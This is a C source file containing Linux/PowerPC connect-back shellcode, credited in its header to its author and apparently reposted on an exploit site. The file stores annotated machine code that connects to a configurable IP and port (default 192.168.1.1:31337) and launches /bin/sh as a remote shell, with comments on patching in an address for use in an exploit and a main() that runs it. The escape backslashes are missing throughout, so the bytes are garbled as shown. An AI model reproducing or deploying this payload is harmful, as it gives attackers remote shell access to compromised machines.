/* connect-core5.c by Charles Stevenson <core@bokeoa.com> */
char hellcode[] = /* connect back & execve /bin/sh linux/ppc by core */
"x7cx3fx0bx78"	/*mr	r31,r1*/
"x3bx40x01x0e"	/*li	r26,270*/
"x3bx5axfexf4"	/*addi	r26,r26,-268*/
"x7fx43xd3x78"	/*mr	r3,r26*/
"x3bx60x01x0d"	/*li	r27,269*/
"x3bx7bxfexf4"	/*addi	r27,r27,-268*/
"x7fx64xdbx78"	/*mr	r4,r27*/
"x7cxa5x2ax78"	/*xor	r5,r5,r5*/
"x7cx3cx0bx78"	/*mr	r28,r1*/
"x3bx9cx01x0c"	/*addi	r28,r28,268*/
"x90x7cxffx08"	/*stw	r3,-248(r28)*/
"x90x9cxffx0c"	/*stw	r4,-244(r28)*/
"x90xbcxffx10"	/*stw	r5,-240(r28)*/
"x7fx63xdbx78"	/*mr	r3,r27*/
"x3bxdfx01x0c"	/*addi	r30,r31,268*/
"x38x9exffx08"	/*addi	r4,r30,-248*/
"x3bx20x01x98"	/*li	r25,408*/
"x7fx20x16x70"	/*srawi	r0,r25,2*/
"x44xdexadxf2"	/*.long 0x44deadf2*/
"x7cx78x1bx78"	/*mr	r24,r3*/
"xb3x5exffx16"	/*sth	r26,-234(r30)*/
"x7fxbdxeax78"	/*xor	r29,r29,r29*/
// Craft your exploit to poke these value in. Right now it's set
// for port 31337 and ip 192.168.1.1. Here's an example
// core@morpheus:~$ printf "0x%02x%02xn0x%02x%02xn" 192 168 1 1
// 0xc0a8
// 0x0101
"x63xbd" /* PORT # */ "x7ax69"	/*ori	r29,r29,31337*/
"xb3xbexffx18"	/*sth	r29,-232(r30)*/
"x3fxa0" /*IP(A.B) */ "xc0xa8"	/*lis	r29,-16216*/
"x63xbd" /*IP(C.D) */ "x01x01"	/*ori	r29,r29,257*/
"x93xbexffx1a"	/*stw	r29,-230(r30)*/
"x93x1cxffx08"	/*stw	r24,-248(r28)*/
"x3axdexffx16"	/*addi	r22,r30,-234*/
"x92xdcxffx0c"	/*stw	r22,-244(r28)*/
"x3bxa0x01x1c"	/*li	r29,284*/
"x38xbdxfexf4"	/*addi	r5,r29,-268*/
"x90xbcxffx10"	/*stw	r5,-240(r28)*/
"x7fx20x16x70"	/*srawi	r0,r25,2*/
"x7cx7axdax14"	/*add	r3,r26,r27*/
"x38x9cxffx08"	/*addi	r4,r28,-248*/
"x44xdexadxf2"	/*.long0x44deadf2*/
"x7fx03xc3x78"	/*mr	r3,r24*/
"x7cx84x22x78"	/*xor	r4,r4,r4*/
"x3axe0x01xf8"	/*li	r23,504*/
"x7exe0x1ex70"	/*srawi	r0,r23,3*/
"x44xdexadxf2"	/*.long 0x44deadf2*/
"x7fx03xc3x78"	/*mr	r3,r24*/
"x7fx64xdbx78"	/*mr	r4,r27*/
"x7exe0x1ex70"	/*srawi	r0,r23,3*/
"x44xdexadxf2"	/*.long 0x44deadf2*/
// comment out the next 4 lines to save 16 bytes and lose stderr
//"x7fx03xc3x78"	/*mr	r3,r24*/
//"x7fx44xd3x78"	/*mr	r4,r26*/
//"x7exe0x1ex70"	/*srawi	r0,r23,3*/
//"x44xdexadxf2"	/*.long 0x44deadf2*/
"x7cxa5x2ax79"	/*xor.	r5,r5,r5*/
"x42x40xffx35"	/*bdzl+	10000454<main>*/
"x7fx08x02xa6"	/*mflr	r24*/
"x3bx18x01x34"	/*addi	r24,r24,308*/
"x98xb8xfexfb"	/*stb	r5,-261(r24)*/
"x38x78xfexf4"	/*addi	r3,r24,-268*/
"x90x61xffxf8"	/*stw	r3,-8(r1)*/
"x38x81xffxf8"	/*addi	r4,r1,-8*/
"x90xa1xffxfc"	/*stw	r5,-4(r1)*/
"x3bxc0x01x60"	/*li	r30,352*/
"x7fxc0x2ex70"	/*srawi	r0,r30,5*/
"x44xdexadxf2"	/*.long 0x44deadf2*/
"/bin/shZ";	/* Z will become NULL */

int main(void)
{
  void (*shell)() = (void *)&hellcode;
  printf("%d byte connect back execve /bin/sh for linux/ppc by coren",
          strlen(hellcode));
  shell();
  return 0;
}

// www.Syue.com [2005-11-09]